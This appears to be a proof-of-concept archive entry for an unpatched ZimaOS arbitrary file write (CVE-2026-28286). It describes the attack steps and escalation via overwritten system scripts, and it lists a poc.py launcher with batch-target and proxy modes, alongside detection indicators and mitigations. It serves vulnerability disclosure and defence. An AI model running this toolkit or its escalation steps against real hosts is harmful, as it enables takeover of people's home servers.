PoC Archive PoC Archive
Critical CVE-2026-28286 unpatched

ZimaOS Arbitrary File Write via Unvalidated File API Path — CVE-2026-28286

by Rushi9 (Rushikesh Kaware) · 2026-07-05

Severity
Critical
CVE
CVE-2026-28286
Category
web
Affected product
ZimaOS (NAS / home-server operating system), file API endpoint /v2_1/files/file
Affected versions
Not specified in source
Disclosed
2026-07-05
Patch status
unpatched

Metadata

FieldValue
Date Added2026-07-05
Last Updated2026-04
Author / ResearcherRushi9 (Rushikesh Kaware)
CVE / AdvisoryCVE-2026-28286
Categoryweb
SeverityCritical
CVSS ScoreNot specified in source
StatusPoC
Tagszimaos, nas, arbitrary-file-write, path-traversal, api-misconfiguration, rce, home-server
RelatedN/A

Affected Target

FieldValue
Software / SystemZimaOS (NAS / home-server operating system), file API endpoint /v2_1/files/file
Versions AffectedNot specified in source
Language / PlatformPython 3 (requests-based CLI PoC toolkit)
Authentication RequiredNo (bearer token supported optionally, but not required to trigger)
Network Access RequiredYes

Summary

ZimaOS exposes a file-management REST API endpoint (/v2_1/files/file) that accepts a user-supplied file path without canonicalizing it or restricting it to a base directory. Because this is a web-facing REST API rather than a local system call, an attacker able to reach the API can write arbitrary files anywhere on the underlying filesystem, including outside the intended storage directory (e.g. /etc, /usr/local/bin). The included toolkit is an HTTP-based scanner/exploiter (single target, batch mode, proxy support) that confirms the flaw and writes a proof file to attacker-chosen paths, demonstrating a path from API misconfiguration to arbitrary file write and potential full system compromise via config/script overwrite.


Vulnerability Details

Root Cause

The /v2_1/files/file API endpoint fails to canonicalize or validate user-supplied file paths and does not enforce a base-directory restriction, allowing absolute, attacker-controlled paths to be written to disk.

Attack Vector

  1. Send a request to the ZimaOS file API (/v2_1/files/file) with an attacker-chosen absolute path (default demonstrated with /tmp, extendable to /etc, /usr/local/bin, etc.).
  2. The backend writes the supplied content to that path without restricting it to the intended storage directory.
  3. Verify success by listing/reading back the written file at the target path.
  4. Escalate by overwriting sensitive configuration files, cron jobs, or startup scripts to achieve privilege escalation or remote code execution.

Impact

Arbitrary file write on the NAS/home-server host, which can be leveraged to overwrite configuration files or scripts and escalate to full system compromise (RCE).


Environment / Lab Setup

Target:   ZimaOS instance with the file management API reachable (e.g. http://localhost:8080)
Attacker: Python 3, `requests`, optional Burp Suite proxy for request inspection

Proof of Concept

PoC Script

See poc.py and the core/ module (client.py, runner.py, utils.py, verifier.py) in this folder.

1
python3 poc.py -u http://localhost:8080 -p /tmp

Sends a crafted request to the vulnerable file API to write a uniquely-named proof file to the specified path, then verifies the write succeeded; supports single-target, batch (-t targets.txt), proxy, bearer-token, and repeated-attempt modes.


Detection & Indicators of Compromise

Signs of compromise:

  • Unexplained files written outside the normal NAS storage/share directories.
  • Modified system configuration files or startup scripts with recent unexplained mtimes.
  • Repeated requests to /v2_1/files/file with absolute or traversal-style paths in access logs.

Remediation

ActionDetail
Primary fixNo vendor patch confirmed as of 2026-07-05 — monitor for advisory
Interim mitigationRestrict the file API to a canonicalized allow-listed base directory, reject absolute/traversal paths, and require authentication for all file-write operations.

References


Notes

Mirrored from https://github.com/Rushi9/zimaos-cve-2026-28286-arbitrary-file-write on 2026-07-05.

poc.py
 1
 2
 3
 4
 5
 6
 7
 8
 9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
import argparse
from core.runner import run_single, run_batch

def banner():
    print("""
CVE-2026-28286 Research Toolkit
(Authorized testing only)
""")

def read_targets(file_path):
    with open(file_path, "r") as f:
        return f.readlines()

def interactive():
    target = input("[?] Target URL: ").strip()
    path = input("[?] Path (default /tmp): ").strip() or None
    return target, path

def main():
    banner()

    parser = argparse.ArgumentParser()
    parser.add_argument("-u", "--url", help="Single target")
    parser.add_argument("-t", "--targets", help="Targets file")
    parser.add_argument("-p", "--path", help="Custom path")
    parser.add_argument("--proxy", help="Proxy URL")
    parser.add_argument("--token", help="Bearer token")
    parser.add_argument("-n", "--attempts", type=int, default=1)
    parser.add_argument("--delay", type=int, default=0)

    args = parser.parse_args()

    if not args.url and not args.targets:
        target, path = interactive()
        run_single(target, path)
        return

    if args.url:
        run_single(
            target=args.url,
            path=args.path,
            proxy=args.proxy,
            token=args.token,
            attempts=args.attempts
        )

    if args.targets:
        targets = read_targets(args.targets)
        run_batch(
            targets=targets,
            path=args.path,
            proxy=args.proxy,
            token=args.token,
            attempts=args.attempts,
            delay=args.delay
        )

if __name__ == "__main__":
    main()